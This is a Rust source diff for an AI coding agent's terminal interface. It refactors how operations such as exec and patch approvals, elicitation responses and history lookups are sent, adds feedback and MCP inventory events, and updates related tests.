trim_transcript_cells_drop_last_n_user_turns(&mut cells, /*num_turns*/ 1);
assert!(changed);
assert_eq!(cells.len(), 2);
@@ -806,16 +799,20 @@ mod tests {
#[test]
fn trim_drop_last_n_user_turns_allows_overflow() {
let mut cells: Vec<Arc<dyn HistoryCell>> = vec![
Arc::new(AgentMessageCell::new(vec![Line::from("intro")], true))
as Arc<dyn HistoryCell>,
Arc::new(AgentMessageCell::new(
vec![Line::from("intro")],
/*is_first_line*/ true,
)) as Arc<dyn HistoryCell>,
Arc::new(UserHistoryCell {
message: "first".to_string(),
text_elements: Vec::new(),
local_image_paths: Vec::new(),
remote_image_urls: Vec::new(),
}) as Arc<dyn HistoryCell>,
Arc::new(AgentMessageCell::new(vec![Line::from("after")], false))
as Arc<dyn HistoryCell>,
Arc::new(AgentMessageCell::new(
vec![Line::from("after")],
/*is_first_line*/ false,
)) as Arc<dyn HistoryCell>,
];
let changed = trim_transcript_cells_drop_last_n_user_turns(&mut cells, u32::MAX);
+424
View File
@@ -0,0 +1,424 @@
use std::path::PathBuf;
use codex_core::config::types::ApprovalsReviewer;
use codex_protocol::approvals::ElicitationAction;
use codex_protocol::config_types::CollaborationMode;
use codex_protocol::config_types::Personality;
use codex_protocol::config_types::ReasoningSummary as ReasoningSummaryConfig;
use codex_protocol::config_types::ServiceTier;
use codex_protocol::config_types::WindowsSandboxLevel;
use codex_protocol::mcp::RequestId as McpRequestId;
use codex_protocol::openai_models::ReasoningEffort as ReasoningEffortConfig;
use codex_protocol::protocol::AskForApproval;
use codex_protocol::protocol::ConversationAudioParams;
use codex_protocol::protocol::ConversationStartParams;
use codex_protocol::protocol::ConversationTextParams;
use codex_protocol::protocol::Op;
use codex_protocol::protocol::ReviewDecision;
use codex_protocol::protocol::ReviewRequest;
use codex_protocol::protocol::SandboxPolicy;
use codex_protocol::request_permissions::RequestPermissionsResponse;
use codex_protocol::request_user_input::RequestUserInputResponse;
use codex_protocol::user_input::UserInput;
use serde::Serialize;
use serde_json::Value;
#[derive(Debug, Clone, PartialEq, Serialize)]
pub(crate) struct AppCommand(Op);
#[allow(clippy::large_enum_variant)]
#[allow(dead_code)]
pub(crate) enum AppCommandView<'a> {
Interrupt,
CleanBackgroundTerminals,
RealtimeConversationStart(&'a ConversationStartParams),
RealtimeConversationAudio(&'a ConversationAudioParams),
RealtimeConversationText(&'a ConversationTextParams),
RealtimeConversationClose,
RunUserShellCommand {
command: &'a str,
},
UserTurn {
items: &'a [UserInput],
cwd: &'a PathBuf,
approval_policy: AskForApproval,
approvals_reviewer: &'a Option<ApprovalsReviewer>,
sandbox_policy: &'a SandboxPolicy,
model: &'a str,
effort: Option<ReasoningEffortConfig>,
summary: &'a Option<ReasoningSummaryConfig>,
service_tier: &'a Option<Option<ServiceTier>>,
final_output_json_schema: &'a Option<Value>,
collaboration_mode: &'a Option<CollaborationMode>,
personality: &'a Option<Personality>,
},
OverrideTurnContext {
cwd: &'a Option<PathBuf>,
approval_policy: &'a Option<AskForApproval>,
approvals_reviewer: &'a Option<ApprovalsReviewer>,
sandbox_policy: &'a Option<SandboxPolicy>,
windows_sandbox_level: &'a Option<WindowsSandboxLevel>,
model: &'a Option<String>,
effort: &'a Option<Option<ReasoningEffortConfig>>,
summary: &'a Option<ReasoningSummaryConfig>,
service_tier: &'a Option<Option<ServiceTier>>,
collaboration_mode: &'a Option<CollaborationMode>,
personality: &'a Option<Personality>,
},
ExecApproval {
id: &'a str,
turn_id: &'a Option<String>,
decision: &'a ReviewDecision,
},
PatchApproval {
id: &'a str,
decision: &'a ReviewDecision,
},
ResolveElicitation {
server_name: &'a str,
request_id: &'a McpRequestId,
decision: &'a ElicitationAction,
content: &'a Option<Value>,
meta: &'a Option<Value>,
},
UserInputAnswer {
id: &'a str,
response: &'a RequestUserInputResponse,
},
RequestPermissionsResponse {
id: &'a str,
response: &'a RequestPermissionsResponse,
},
ReloadUserConfig,
ListSkills {
cwds: &'a [PathBuf],
force_reload: bool,
},
Compact,
SetThreadName {
name: &'a str,
},
Shutdown,
ThreadRollback {
num_turns: u32,
},
Review {
review_request: &'a ReviewRequest,
},
Other(&'a Op),
}
impl AppCommand {
pub(crate) fn interrupt() -> Self {
Self(Op::Interrupt)
}
pub(crate) fn clean_background_terminals() -> Self {
Self(Op::CleanBackgroundTerminals)
}
pub(crate) fn realtime_conversation_start(params: ConversationStartParams) -> Self {
Self(Op::RealtimeConversationStart(params))
}
#[cfg_attr(
any(target_os = "linux", not(feature = "voice-input")),
allow(dead_code)
)]
pub(crate) fn realtime_conversation_audio(params: ConversationAudioParams) -> Self {
Self(Op::RealtimeConversationAudio(params))
}
#[allow(dead_code)]
pub(crate) fn realtime_conversation_text(params: ConversationTextParams) -> Self {
Self(Op::RealtimeConversationText(params))
}
pub(crate) fn realtime_conversation_close() -> Self {
Self(Op::RealtimeConversationClose)
}
pub(crate) fn run_user_shell_command(command: String) -> Self {
Self(Op::RunUserShellCommand { command })
}
#[allow(clippy::too_many_arguments)]
pub(crate) fn user_turn(
items: Vec<UserInput>,
cwd: PathBuf,
approval_policy: AskForApproval,
sandbox_policy: SandboxPolicy,
model: String,
effort: Option<ReasoningEffortConfig>,
summary: Option<ReasoningSummaryConfig>,
service_tier: Option<Option<ServiceTier>>,
final_output_json_schema: Option<Value>,
collaboration_mode: Option<CollaborationMode>,
personality: Option<Personality>,
) -> Self {
Self(Op::UserTurn {
items,
cwd,
approval_policy,
approvals_reviewer: None,
sandbox_policy,
model,
effort,
summary,
service_tier,
final_output_json_schema,
collaboration_mode,
personality,
})
}
#[allow(clippy::too_many_arguments)]
pub(crate) fn override_turn_context(
cwd: Option<PathBuf>,
approval_policy: Option<AskForApproval>,
approvals_reviewer: Option<ApprovalsReviewer>,
sandbox_policy: Option<SandboxPolicy>,
windows_sandbox_level: Option<WindowsSandboxLevel>,
model: Option<String>,
effort: Option<Option<ReasoningEffortConfig>>,
summary: Option<ReasoningSummaryConfig>,
service_tier: Option<Option<ServiceTier>>,
collaboration_mode: Option<CollaborationMode>,
personality: Option<Personality>,
) -> Self {
Self(Op::OverrideTurnContext {
cwd,
approval_policy,
approvals_reviewer,
sandbox_policy,
windows_sandbox_level,
model,
effort,
summary,
service_tier,
collaboration_mode,
personality,
})
}
pub(crate) fn exec_approval(
id: String,
turn_id: Option<String>,
decision: ReviewDecision,
) -> Self {
Self(Op::ExecApproval {
id,
turn_id,
decision,
})
}
pub(crate) fn patch_approval(id: String, decision: ReviewDecision) -> Self {
Self(Op::PatchApproval { id, decision })
}
pub(crate) fn resolve_elicitation(
server_name: String,
request_id: McpRequestId,
decision: ElicitationAction,
content: Option<Value>,
meta: Option<Value>,
) -> Self {
Self(Op::ResolveElicitation {
server_name,
request_id,
decision,
content,
meta,
})
}
pub(crate) fn user_input_answer(id: String, response: RequestUserInputResponse) -> Self {
Self(Op::UserInputAnswer { id, response })
}
pub(crate) fn request_permissions_response(
id: String,
response: RequestPermissionsResponse,
) -> Self {
Self(Op::RequestPermissionsResponse { id, response })
}
pub(crate) fn reload_user_config() -> Self {
Self(Op::ReloadUserConfig)
}
pub(crate) fn list_skills(cwds: Vec<PathBuf>, force_reload: bool) -> Self {
Self(Op::ListSkills { cwds, force_reload })
}
pub(crate) fn compact() -> Self {
Self(Op::Compact)
}
pub(crate) fn set_thread_name(name: String) -> Self {
Self(Op::SetThreadName { name })
}
pub(crate) fn thread_rollback(num_turns: u32) -> Self {
Self(Op::ThreadRollback { num_turns })
}
pub(crate) fn review(review_request: ReviewRequest) -> Self {
Self(Op::Review { review_request })
}
#[allow(dead_code)]
pub(crate) fn kind(&self) -> &'static str {
self.0.kind()
}
#[allow(dead_code)]
pub(crate) fn as_core(&self) -> &Op {
&self.0
}
pub(crate) fn into_core(self) -> Op {
self.0
}
pub(crate) fn is_review(&self) -> bool {
matches!(self.view(), AppCommandView::Review { .. })
}
pub(crate) fn view(&self) -> AppCommandView<'_> {
match &self.0 {
Op::Interrupt => AppCommandView::Interrupt,
Op::CleanBackgroundTerminals => AppCommandView::CleanBackgroundTerminals,
Op::RealtimeConversationStart(params) => {
AppCommandView::RealtimeConversationStart(params)
}
Op::RealtimeConversationAudio(params) => {
AppCommandView::RealtimeConversationAudio(params)
}
Op::RealtimeConversationText(params) => {
AppCommandView::RealtimeConversationText(params)
}
Op::RealtimeConversationClose => AppCommandView::RealtimeConversationClose,
Op::RunUserShellCommand { command } => AppCommandView::RunUserShellCommand { command },
Op::UserTurn {
items,
cwd,
approval_policy,
approvals_reviewer,
sandbox_policy,
model,
effort,
summary,
service_tier,
final_output_json_schema,
collaboration_mode,
personality,
} => AppCommandView::UserTurn {
items,
cwd,
approval_policy: *approval_policy,
approvals_reviewer,
sandbox_policy,
model,
effort: *effort,
summary,
service_tier,
final_output_json_schema,
collaboration_mode,
personality,
},
Op::OverrideTurnContext {
cwd,
approval_policy,
approvals_reviewer,
sandbox_policy,
windows_sandbox_level,
model,
effort,
summary,
service_tier,
collaboration_mode,
personality,
} => AppCommandView::OverrideTurnContext {
cwd,
approval_policy,
approvals_reviewer,
sandbox_policy,
windows_sandbox_level,
model,
effort,
summary,
service_tier,
collaboration_mode,
personality,
},
Op::ExecApproval {
id,
turn_id,
decision,
} => AppCommandView::ExecApproval {
id,
turn_id,
decision,
},
Op::PatchApproval { id, decision } => AppCommandView::PatchApproval { id, decision },
Op::ResolveElicitation {
server_name,
request_id,
decision,
content,
meta,
} => AppCommandView::ResolveElicitation {
server_name,
request_id,
decision,
content,
meta,
},
Op::UserInputAnswer { id, response } => {
AppCommandView::UserInputAnswer { id, response }
}
Op::RequestPermissionsResponse { id, response } => {
AppCommandView::RequestPermissionsResponse { id, response }
}
Op::ReloadUserConfig => AppCommandView::ReloadUserConfig,
Op::ListSkills { cwds, force_reload } => AppCommandView::ListSkills {
cwds,
force_reload: *force_reload,
},
Op::Compact => AppCommandView::Compact,
Op::SetThreadName { name } => AppCommandView::SetThreadName { name },
Op::Shutdown => AppCommandView::Shutdown,
Op::ThreadRollback { num_turns } => AppCommandView::ThreadRollback {
num_turns: *num_turns,
},
Op::Review { review_request } => AppCommandView::Review { review_request },
op => AppCommandView::Other(op),
}
}
}
impl From<Op> for AppCommand {
fn from(value: Op) -> Self {
Self(value)
}
}
impl From<&Op> for AppCommand {
fn from(value: &Op) -> Self {
Self(value.clone())
}
}
impl From<&AppCommand> for AppCommand {
fn from(value: &AppCommand) -> Self {
value.clone()
}
}
impl From<AppCommand> for Op {
fn from(value: AppCommand) -> Self {
value.0
}
}
+34 -22
View File
@@ -10,6 +10,7 @@
use std::path::PathBuf;
use codex_app_server_protocol::McpServerStatus;
use codex_app_server_protocol::PluginInstallResponse;
use codex_app_server_protocol::PluginListResponse;
use codex_app_server_protocol::PluginReadParams;
@@ -19,7 +20,8 @@ use codex_chatgpt::connectors::AppInfo;
use codex_file_search::FileMatch;
use codex_protocol::ThreadId;
use codex_protocol::openai_models::ModelPreset;
use codex_protocol::protocol::Event;
use codex_protocol::protocol::GetHistoryEntryResponseEvent;
use codex_protocol::protocol::Op;
use codex_protocol::protocol::RateLimitSnapshot;
use codex_utils_absolute_path::AbsolutePathBuf;
use codex_utils_approval_presets::ApprovalPreset;
@@ -76,7 +78,6 @@ pub(crate) struct ConnectorsSnapshot {
#[allow(clippy::large_enum_variant)]
#[derive(Debug)]
pub(crate) enum AppEvent {
CodexEvent(Event),
/// Open the agent picker for switching active threads.
OpenAgentPicker,
/// Switch the active thread to the selected agent.
@@ -85,13 +86,13 @@ pub(crate) enum AppEvent {
/// Submit an op to the specified thread, regardless of current focus.
SubmitThreadOp {
thread_id: ThreadId,
op: codex_protocol::protocol::Op,
op: Op,
},
/// Forward an event from a non-primary thread into the app-level thread router.
ThreadEvent {
/// Deliver a synthetic history lookup response to a specific thread channel.
ThreadHistoryEntryResponse {
thread_id: ThreadId,
event: Event,
event: GetHistoryEntryResponseEvent,
},
/// Start a new session.
@@ -116,11 +117,12 @@ pub(crate) enum AppEvent {
Exit(ExitMode),
/// Request to exit the application due to a fatal error.
#[allow(dead_code)]
FatalExitRequest(String),
/// Forward an `Op` to the Agent. Using an `AppEvent` for this avoids
/// bubbling channels through layers of widgets.
CodexOp(codex_protocol::protocol::Op),
CodexOp(Op),
/// Kick off an asynchronous file search for the given query (text after
/// the `@`). Previous searches may be cancelled by the app layer so there
@@ -136,6 +138,7 @@ pub(crate) enum AppEvent {
},
/// Result of refreshing rate limits
#[allow(dead_code)]
RateLimitSnapshotFetched(RateLimitSnapshot),
/// Result of prefetching connectors.
@@ -246,6 +249,14 @@ pub(crate) enum AppEvent {
/// Abandon the post-install plugin app-auth flow.
PluginInstallAuthAbandon,
/// Fetch MCP inventory via app-server RPCs and render it into history.
FetchMcpInventory,
/// Result of fetching MCP inventory via app-server RPCs.
McpInventoryLoaded {
result: Result<Vec<McpServerStatus>, String>,
},
InsertHistoryCell(Box<dyn HistoryCell>),
/// Apply rollback semantics to local transcript cells.
@@ -478,21 +489,6 @@ pub(crate) enum AppEvent {
text: String,
},
/// Voice transcription finished for the given placeholder id.
#[cfg(not(target_os = "linux"))]
TranscriptionComplete {
id: String,
text: String,
},
/// Voice transcription failed; remove the placeholder identified by `id`.
#[cfg(not(target_os = "linux"))]
TranscriptionFailed {
id: String,
#[allow(dead_code)]
error: String,
},
/// Open the branch picker option from the review popup.
OpenReviewBranchPicker(PathBuf),
@@ -522,6 +518,21 @@ pub(crate) enum AppEvent {
category: FeedbackCategory,
},
/// Submit feedback for the current thread via the app-server feedback RPC.
SubmitFeedback {
category: FeedbackCategory,
reason: Option<String>,
include_logs: bool,
},
/// Result of a feedback upload request initiated by the TUI.
FeedbackSubmitted {
origin_thread_id: Option<ThreadId>,
category: FeedbackCategory,
include_logs: bool,
result: Result<String, String>,
},
/// Launch the external editor after a normal draw has completed.
LaunchExternalEditor,
@@ -536,6 +547,7 @@ pub(crate) enum AppEvent {
},
/// Dismiss the status-line setup UI without changing config.
StatusLineSetupCancelled,
/// Apply a user-confirmed terminal-title item ordering/selection.
TerminalTitleSetup {
items: Vec<TerminalTitleItem>,
+95
View File
@@ -1,3 +1,14 @@
use std::path::PathBuf;
use crate::app_command::AppCommand;
use codex_protocol::ThreadId;
use codex_protocol::approvals::ElicitationAction;
use codex_protocol::mcp::RequestId as McpRequestId;
use codex_protocol::protocol::ConversationAudioParams;
use codex_protocol::protocol::ReviewDecision;
use codex_protocol::protocol::ReviewRequest;
use codex_protocol::request_permissions::RequestPermissionsResponse;
use codex_protocol::request_user_input::RequestUserInputResponse;
use tokio::sync::mpsc::UnboundedSender;
use crate::app_event::AppEvent;
@@ -25,4 +36,88 @@ impl AppEventSender {
tracing::error!("failed to send event: {e}");
}
}
pub(crate) fn interrupt(&self) {
self.send(AppEvent::CodexOp(AppCommand::interrupt().into_core()));
}
pub(crate) fn compact(&self) {
self.send(AppEvent::CodexOp(AppCommand::compact().into_core()));
}
pub(crate) fn set_thread_name(&self, name: String) {
self.send(AppEvent::CodexOp(
AppCommand::set_thread_name(name).into_core(),
));
}
pub(crate) fn review(&self, review_request: ReviewRequest) {
self.send(AppEvent::CodexOp(
AppCommand::review(review_request).into_core(),
));
}
pub(crate) fn list_skills(&self, cwds: Vec<PathBuf>, force_reload: bool) {
self.send(AppEvent::CodexOp(
AppCommand::list_skills(cwds, force_reload).into_core(),
));
}
#[cfg_attr(
any(target_os = "linux", not(feature = "voice-input")),
allow(dead_code)
)]
pub(crate) fn realtime_conversation_audio(&self, params: ConversationAudioParams) {
self.send(AppEvent::CodexOp(
AppCommand::realtime_conversation_audio(params).into_core(),
));
}
pub(crate) fn user_input_answer(&self, id: String, response: RequestUserInputResponse) {
self.send(AppEvent::CodexOp(
AppCommand::user_input_answer(id, response).into_core(),
));
}
pub(crate) fn exec_approval(&self, thread_id: ThreadId, id: String, decision: ReviewDecision) {
self.send(AppEvent::SubmitThreadOp {
thread_id,
op: AppCommand::exec_approval(id, /*turn_id*/ None, decision).into_core(),
});
}
pub(crate) fn request_permissions_response(
&self,
thread_id: ThreadId,
id: String,
response: RequestPermissionsResponse,
) {
self.send(AppEvent::SubmitThreadOp {
thread_id,
op: AppCommand::request_permissions_response(id, response).into_core(),
});
}
pub(crate) fn patch_approval(&self, thread_id: ThreadId, id: String, decision: ReviewDecision) {
self.send(AppEvent::SubmitThreadOp {
thread_id,
op: AppCommand::patch_approval(id, decision).into_core(),
});
}
pub(crate) fn resolve_elicitation(
&self,
thread_id: ThreadId,
server_name: String,
request_id: McpRequestId,
decision: ElicitationAction,
content: Option<serde_json::Value>,
meta: Option<serde_json::Value>,
) {
self.send(AppEvent::SubmitThreadOp {
thread_id,
op: AppCommand::resolve_elicitation(server_name, request_id, decision, content, meta)
.into_core(),
});
}
}
File diff suppressed because it is too large Load Diff
@@ -1,45 +0,0 @@
use std::future::Future;
use crate::Cli;
use codex_core::config::Config;
use codex_core::config::ConfigOverrides;
use codex_features::Feature;
pub(crate) fn app_server_tui_config_inputs(
cli: &Cli,
) -> std::io::Result<(Vec<(String, toml::Value)>, ConfigOverrides)> {
let mut raw_overrides = cli.config_overrides.raw_overrides.clone();
if cli.web_search {
raw_overrides.push("web_search=\"live\"".to_string());
}
let cli_kv_overrides = codex_utils_cli::CliConfigOverrides { raw_overrides }
.parse_overrides()
.map_err(|err| std::io::Error::new(std::io::ErrorKind::InvalidInput, err))?;
let config_overrides = ConfigOverrides {
cwd: cli.cwd.clone(),
config_profile: cli.config_profile.clone(),
..Default::default()
};
Ok((cli_kv_overrides, config_overrides))
}
pub(crate) async fn should_use_app_server_tui_with<F, Fut>(
cli: &Cli,
load_config: F,
) -> std::io::Result<bool>
where
F: FnOnce(Vec<(String, toml::Value)>, ConfigOverrides) -> Fut,
Fut: Future<Output = std::io::Result<Config>>,
{
let (cli_kv_overrides, config_overrides) = app_server_tui_config_inputs(cli)?;
let config = load_config(cli_kv_overrides, config_overrides).await?;
Ok(config.features.enabled(Feature::TuiAppServer))
}
pub async fn should_use_app_server_tui(cli: &Cli) -> std::io::Result<bool> {
should_use_app_server_tui_with(cli, Config::load_with_cli_overrides_and_harness_overrides).await
}
+18 -13
View File
@@ -1,6 +1,7 @@
use codex_protocol::ThreadId;
use codex_protocol::approvals::ElicitationAction;
use codex_protocol::mcp::RequestId as McpRequestId;
#[cfg(test)]
use codex_protocol::protocol::Op;
use crossterm::event::KeyCode;
use crossterm::event::KeyEvent;
@@ -150,16 +151,14 @@ impl AppLinkView {
let Some(target) = self.elicitation_target.as_ref() else {
return;
};
self.app_event_tx.send(AppEvent::SubmitThreadOp {
thread_id: target.thread_id,
op: Op::ResolveElicitation {
server_name: target.server_name.clone(),
request_id: target.request_id.clone(),
decision,
content: None,
meta: None,
},
});
self.app_event_tx.resolve_elicitation(
target.thread_id,
target.server_name.clone(),
target.request_id.clone(),
decision,
/*content*/ None,
/*meta*/ None,
);
}
fn decline_tool_suggestion(&mut self) {
@@ -670,7 +669,7 @@ mod tests {
view.screen = AppLinkScreen::InstallConfirmation;
let rendered: Vec<String> = view
.content_lines(40)
.content_lines(/*width*/ 40)
.into_iter()
.map(|line| {
line.spans
@@ -912,7 +911,10 @@ mod tests {
assert_snapshot!(
"app_link_view_install_suggestion_with_reason",
render_snapshot(&view, Rect::new(0, 0, 72, view.desired_height(72)))
render_snapshot(
&view,
Rect::new(0, 0, 72, view.desired_height(/*width*/ 72))
)
);
}
@@ -938,7 +940,10 @@ mod tests {
assert_snapshot!(
"app_link_view_enable_suggestion_with_reason",
render_snapshot(&view, Rect::new(0, 0, 72, view.desired_height(72)))
render_snapshot(
&view,
Rect::new(0, 0, 72, view.desired_height(/*width*/ 72))
)
);
}
}
@@ -24,6 +24,7 @@ use codex_protocol::protocol::ElicitationAction;
use codex_protocol::protocol::FileChange;
use codex_protocol::protocol::NetworkApprovalContext;
use codex_protocol::protocol::NetworkPolicyRuleAction;
#[cfg(test)]
use codex_protocol::protocol::Op;
use codex_protocol::protocol::ReviewDecision;
use codex_protocol::request_permissions::PermissionGrantScope;
@@ -261,14 +262,8 @@ impl ApprovalOverlay {
self.app_event_tx.send(AppEvent::InsertHistoryCell(cell));
}
let thread_id = request.thread_id();
self.app_event_tx.send(AppEvent::SubmitThreadOp {
thread_id,
op: Op::ExecApproval {
id: id.to_string(),
turn_id: None,
decision,
},
});
self.app_event_tx
.exec_approval(thread_id, id.to_string(), decision);
}
fn handle_permissions_decision(
@@ -304,16 +299,14 @@ impl ApprovalOverlay {
)));
}
let thread_id = request.thread_id();
self.app_event_tx.send(AppEvent::SubmitThreadOp {
self.app_event_tx.request_permissions_response(
thread_id,
op: Op::RequestPermissionsResponse {
id: call_id.to_string(),
response: codex_protocol::request_permissions::RequestPermissionsResponse {
permissions: granted_permissions,
scope,
},
call_id.to_string(),
codex_protocol::request_permissions::RequestPermissionsResponse {
permissions: granted_permissions,
scope,
},
});
);
}
fn handle_patch_decision(&self, id: &str, decision: ReviewDecision) {
@@ -324,13 +317,8 @@ impl ApprovalOverlay {
else {
return;
};
self.app_event_tx.send(AppEvent::SubmitThreadOp {
thread_id,
op: Op::PatchApproval {
id: id.to_string(),
decision,
},
});
self.app_event_tx
.patch_approval(thread_id, id.to_string(), decision);
}
fn handle_elicitation_decision(
@@ -346,16 +334,14 @@ impl ApprovalOverlay {
else {
return;
};
self.app_event_tx.send(AppEvent::SubmitThreadOp {
self.app_event_tx.resolve_elicitation(
thread_id,
op: Op::ResolveElicitation {
server_name: server_name.to_string(),
request_id: request_id.clone(),
decision,
content: None,
meta: None,
},
});
server_name.to_string(),
request_id.clone(),
decision,
/*content*/ None,
/*meta*/ None,
);
}
fn advance_queue(&mut self) {
@@ -1011,7 +997,7 @@ mod tests {
assert_snapshot!(
"approval_overlay_cross_thread_prompt",
render_overlay_lines(&view, 80)
render_overlay_lines(&view, /*width*/ 80)
);
}
@@ -1123,8 +1109,11 @@ mod tests {
};
let view = ApprovalOverlay::new(exec_request, tx, Features::with_defaults());
let mut buf = Buffer::empty(Rect::new(0, 0, 80, view.desired_height(80)));
view.render(Rect::new(0, 0, 80, view.desired_height(80)), &mut buf);
let mut buf = Buffer::empty(Rect::new(0, 0, 80, view.desired_height(/*width*/ 80)));
view.render(
Rect::new(0, 0, 80, view.desired_height(/*width*/ 80)),
&mut buf,
);
let rendered: Vec<String> = (0..buf.area.height)
.map(|row| {
@@ -1160,7 +1149,7 @@ mod tests {
ReviewDecision::Abort,
],
Some(&network_context),
None,
/*additional_permissions*/ None,
);
let labels: Vec<String> = options.into_iter().map(|option| option.label).collect();
@@ -1183,8 +1172,8 @@ mod tests {
ReviewDecision::ApprovedForSession,
ReviewDecision::Abort,
],
None,
None,
/*network_approval_context*/ None,
/*additional_permissions*/ None,
);
let labels: Vec<String> = options.into_iter().map(|option| option.label).collect();
@@ -1209,7 +1198,7 @@ mod tests {
};
let options = exec_options(
&[ReviewDecision::Approved, ReviewDecision::Abort],
None,
/*network_approval_context*/ None,
Some(&additional_permissions),
);
@@ -1290,8 +1279,11 @@ mod tests {
};
let view = ApprovalOverlay::new(exec_request, tx, Features::with_defaults());
let mut buf = Buffer::empty(Rect::new(0, 0, 120, view.desired_height(120)));
view.render(Rect::new(0, 0, 120, view.desired_height(120)), &mut buf);
let mut buf = Buffer::empty(Rect::new(0, 0, 120, view.desired_height(/*width*/ 120)));
view.render(
Rect::new(0, 0, 120, view.desired_height(/*width*/ 120)),
&mut buf,
);
let rendered: Vec<String> = (0..buf.area.height)
.map(|row| {
@@ -1339,7 +1331,7 @@ mod tests {
let view = ApprovalOverlay::new(exec_request, tx, Features::with_defaults());
assert_snapshot!(
"approval_overlay_additional_permissions_prompt",
normalize_snapshot_paths(render_overlay_lines(&view, 120))
normalize_snapshot_paths(render_overlay_lines(&view, /*width*/ 120))
);
}
@@ -1350,7 +1342,7 @@ mod tests {
let view = ApprovalOverlay::new(make_permissions_request(), tx, Features::with_defaults());
assert_snapshot!(
"approval_overlay_permissions_prompt",
normalize_snapshot_paths(render_overlay_lines(&view, 120))
normalize_snapshot_paths(render_overlay_lines(&view, /*width*/ 120))
);
}
@@ -1383,8 +1375,11 @@ mod tests {
};
let view = ApprovalOverlay::new(exec_request, tx, Features::with_defaults());
let mut buf = Buffer::empty(Rect::new(0, 0, 100, view.desired_height(100)));
view.render(Rect::new(0, 0, 100, view.desired_height(100)), &mut buf);
let mut buf = Buffer::empty(Rect::new(0, 0, 100, view.desired_height(/*width*/ 100)));
view.render(
Rect::new(0, 0, 100, view.desired_height(/*width*/ 100)),
&mut buf,
);
assert_snapshot!("network_exec_prompt", format!("{buf:?}"));
let rendered: Vec<String> = (0..buf.area.height)
@@ -1423,7 +1418,7 @@ mod tests {
ReviewDecision::Approved,
history_cell::ApprovalDecisionActor::User,
);
let lines = cell.display_lines(28);
let lines = cell.display_lines(/*width*/ 28);
let rendered: Vec<String> = lines
.iter()
.map(|line| {
File diff suppressed because it is too large Load Diff
@@ -278,11 +278,10 @@ impl ChatComposerHistory {
self.last_history_text = Some(entry.text.clone());
return Some(entry);
} else if let Some(log_id) = self.history_log_id {
let op = Op::GetHistoryEntryRequest {
app_event_tx.send(AppEvent::CodexOp(Op::GetHistoryEntryRequest {
offset: global_idx,
log_id,
};
app_event_tx.send(AppEvent::CodexOp(op));
}));
}
None
}
@@ -292,7 +291,6 @@ impl ChatComposerHistory {
mod tests {
use super::*;
use crate::app_event::AppEvent;
use codex_protocol::protocol::Op;
use pretty_assertions::assert_eq;
use tokio::sync::mpsc::unbounded_channel;
@@ -332,50 +330,50 @@ mod tests {
let mut history = ChatComposerHistory::new();
// Pretend there are 3 persistent entries.
history.set_metadata(1, 3);
history.set_metadata(/*log_id*/ 1, /*entry_count*/ 3);
// First Up should request offset 2 (latest) and await async data.
assert!(history.should_handle_navigation("", 0));
assert!(history.should_handle_navigation("", /*cursor*/ 0));
assert!(history.navigate_up(&tx).is_none()); // don't replace the text yet
// Verify that an AppEvent::CodexOp with the correct GetHistoryEntryRequest was sent.
// Verify that a history lookup request was sent.
let event = rx.try_recv().expect("expected AppEvent to be sent");
let AppEvent::CodexOp(history_request1) = event else {
let AppEvent::CodexOp(op) = event else {
panic!("unexpected event variant");
};
assert_eq!(
Op::GetHistoryEntryRequest {
log_id: 1,
offset: 2
offset: 2,
},
history_request1
op
);
// Inject the async response.
assert_eq!(
Some(HistoryEntry::new("latest".to_string())),
history.on_entry_response(1, 2, Some("latest".into()))
history.on_entry_response(/*log_id*/ 1, /*offset*/ 2, Some("latest".into()))
);
// Next Up should move to offset 1.
assert!(history.navigate_up(&tx).is_none()); // don't replace the text yet
// Verify second CodexOp event for offset 1.
// Verify second lookup request for offset 1.
let event2 = rx.try_recv().expect("expected second event");
let AppEvent::CodexOp(history_request_2) = event2 else {
let AppEvent::CodexOp(op) = event2 else {
panic!("unexpected event variant");
};
assert_eq!(
Op::GetHistoryEntryRequest {
log_id: 1,
offset: 1
offset: 1,
},
history_request_2
op
);
assert_eq!(
Some(HistoryEntry::new("older".to_string())),
history.on_entry_response(1, 1, Some("older".into()))
history.on_entry_response(/*log_id*/ 1, /*offset*/ 1, Some("older".into()))
);
}
@@ -385,7 +383,7 @@ mod tests {
let tx = AppEventSender::new(tx);
let mut history = ChatComposerHistory::new();
history.set_metadata(1, 3);
history.set_metadata(/*log_id*/ 1, /*entry_count*/ 3);
history
.fetched_history
.insert(1, HistoryEntry::new("command2".to_string()));
@@ -418,9 +416,9 @@ mod tests {
history.record_local_submission(HistoryEntry::new("hello".to_string()));
history.last_history_text = Some("hello".to_string());
assert!(history.should_handle_navigation("hello", 0));
assert!(history.should_handle_navigation("hello", /*cursor*/ 0));
assert!(history.should_handle_navigation("hello", "hello".len()));
assert!(!history.should_handle_navigation("hello", 1));
assert!(!history.should_handle_navigation("other", 0));
assert!(!history.should_handle_navigation("hello", /*cursor*/ 1));
assert!(!history.should_handle_navigation("other", /*cursor*/ 0));
}
}
+75 -250
View File
@@ -10,27 +10,21 @@ use super::slash_commands;
use crate::render::Insets;
use crate::render::RectExt;
use crate::slash_command::SlashCommand;
use codex_protocol::custom_prompts::CustomPrompt;
use codex_protocol::custom_prompts::PROMPTS_CMD_PREFIX;
use std::collections::HashSet;
// Hide alias commands in the default popup list so each unique action appears once.
// `quit` is an alias of `exit`, so we skip `quit` here.
// `approvals` is an alias of `permissions`.
const ALIAS_COMMANDS: &[SlashCommand] = &[SlashCommand::Quit, SlashCommand::Approvals];
/// A selectable item in the popup: either a built-in command or a user prompt.
/// A selectable item in the popup.
#[derive(Clone, Copy, Debug, PartialEq, Eq)]
pub(crate) enum CommandItem {
Builtin(SlashCommand),
// Index into `prompts`
UserPrompt(usize),
}
pub(crate) struct CommandPopup {
command_filter: String,
builtins: Vec<(&'static str, SlashCommand)>,
prompts: Vec<CustomPrompt>,
state: ScrollState,
}
@@ -62,7 +56,7 @@ impl From<CommandPopupFlags> for slash_commands::BuiltinCommandFlags {
}
impl CommandPopup {
pub(crate) fn new(mut prompts: Vec<CustomPrompt>, flags: CommandPopupFlags) -> Self {
pub(crate) fn new(flags: CommandPopupFlags) -> Self {
// Keep built-in availability in sync with the composer.
let builtins: Vec<(&'static str, SlashCommand)> =
slash_commands::builtins_for_input(flags.into())
@@ -70,33 +64,13 @@ impl CommandPopup {
.filter(|(name, _)| !name.starts_with("debug"))
.filter(|(_, cmd)| *cmd != SlashCommand::Apps)
.collect();
// Exclude prompts that collide with builtin command names and sort by name.
let exclude: HashSet<String> = builtins.iter().map(|(n, _)| (*n).to_string()).collect();
prompts.retain(|p| !exclude.contains(&p.name));
prompts.sort_by(|a, b| a.name.cmp(&b.name));
Self {
command_filter: String::new(),
builtins,
prompts,
state: ScrollState::new(),
